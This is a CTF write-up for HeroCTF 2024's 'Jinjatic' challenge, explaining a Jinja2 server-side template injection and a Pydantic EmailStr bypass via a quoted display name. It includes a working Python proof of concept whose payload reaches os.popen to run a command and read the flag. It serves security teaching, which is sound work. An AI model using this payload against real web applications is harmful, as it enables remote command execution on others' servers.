Skip to main content
  1. Writeups/

HeroCTF 2024: Jinjatic

645 words·4 mins·
Fayred
Author
Fayred
I’m French, and I’m passionate about computers in general, and computer security in particular. A CTF enthusiast and a Bug Bounty novice, I’m primarily interested in learning, having fun, and sharing what I’ve learned.
Table of Contents

Statement
#

A platform that allows users to render welcome email’s template for a given customer, sounds great no ?

Deploy on deploy.heroctf.fr

Format: Hero{flag}

Author: Worty

Overview
#

The challenge provides the following file tree:

.
├── challenge.yml
├── dist
│   └── jinjatic.tar.xz
├── docker-compose.yml
├── Makefile
├── README.md
└── src
    ├── challenge
    │   ├── app.py
    │   ├── requirements.txt
    │   └── templates
    │       ├── home.html
    │       ├── mail.html
    │       └── result.html
    ├── Dockerfile
    ├── flag.txt
    └── getflag.c

5 directories, 13 files

The site is minimal: the form at /mail accepts an email address, then /render generates a welcome message containing it. Before displaying the result, however, the backend enforces Pydantic’s EmailStr type.

Solution
#

From Reflection to SSTI
#

Observation. The submitted address reappears in the response. More importantly, the application interpolates it into a string before passing that string to Template(...).render():

Show source code
email_template = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform!</h1>
            <p>Your email to connect is: <strong>%s</strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
'''

...

@app.route('/render', methods=['POST'])
def render_email():
    email = request.form.get('email')

    try:
        email_obj = EmailModel(email=email)
        return Template(email_template % (email)).render()
    except ValidationError as e:
        return render_template('mail.html', error="Invalid email format.")

This rendering step turns user input into template code, producing a Jinja SSTI. The following arithmetic probe confirms it:

test+{{7*7}}@heroctf.fr

The response contains [email protected]. This initial proof is not enough to run a command, though: useful Jinja payloads require characters such as parentheses, and the whole string still has to pass EmailModel(email=email).

The EmailModel Constraint
#

EmailModel delegates the field check to EmailStr. Following that validation path to validate_email() reveals how addresses with a display name are handled:

m = pretty_email_regex.fullmatch(value) # value = email
name: str | None = None
if m:
    unquoted_name, quoted_name, value = m.groups()
    name = unquoted_name or quoted_name

    email = value.strip()

try:
    parts = email_validator.validate_email(email, check_deliverability=False)
except email_validator.EmailNotValidError as e:
    raise PydanticCustomError(
        'value_error', 'value is not a valid email address: {reason}', {'reason': str(e.args[0])}
    ) from e

When the input matches this format, Pydantic separates the display name from the address and sends only the email part to email_validator. The construction of pretty_email_regex shows the accepted forms:

def _build_pretty_email_regex() -> re.Pattern[str]:
    name_chars = r'[\w!#$%&\'*+\-/=?^_`{|}~]'
    unquoted_name_group = rf'((?:{name_chars}+\s+)*{name_chars}+)'
    quoted_name_group = r'"((?:[^"]|\")+)"'
    email_group = r'<\s*(.+)\s*>'
    return re.compile(rf'\s*(?:{unquoted_name_group}|{quoted_name_group})?\s*{email_group}\s*')


pretty_email_regex = _build_pretty_email_regex()

The quoted_name_group accepts the characters needed by the payload, including parentheses and apostrophes. It must be followed by email_group, which holds a genuine address between angle brackets. We can therefore place the Jinja expression in a quoted display name while letting Pydantic validate an innocuous address:

Internal validation applies to the extracted address. The application, however, ignores the resulting email_obj and interpolates the original value from request.form into email_template. The Jinja expression is consequently still present at rendering time: this is the bypass.

Exploitation and Result
#

This technique, also documented in the HackTricks Jinja2 SSTI reference, uses cycler’s globals to reach os.popen(). The payload then runs ../getflag, a path consistent with the application running from /app and the binary installed at the filesystem root. The final PoC is:

import requests
url = 'http://dyn03.heroctf.fr:14993/render'
payload = """{{cycler.__init__.__globals__.os.popen('../getflag').read()}}"""
r = requests.post(url, data={'email': f'"({payload})" <[email protected]>'})
print(r.text)

The rendered response contains the command output:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Result</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
    <div class="container mt-5">
        <div class="alert alert-success text-center">
            <h1>Welcome on the platform!</h1>
            <p>Your email to connect is: <strong>"HERO{f815460cee723a7d1ba1f0a70f68482c}" <[email protected]></strong></p>
        </div>
        <a href="/mail" class="btn btn-primary">Generate another welcome email</a>
    </div>

    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>

Flag: HERO{f815460cee723a7d1ba1f0a70f68482c}

The key issue is thus the mismatch between the value EmailStr extracts for validation and the original string that the application subsequently passes to Jinja.

Reference
#

Related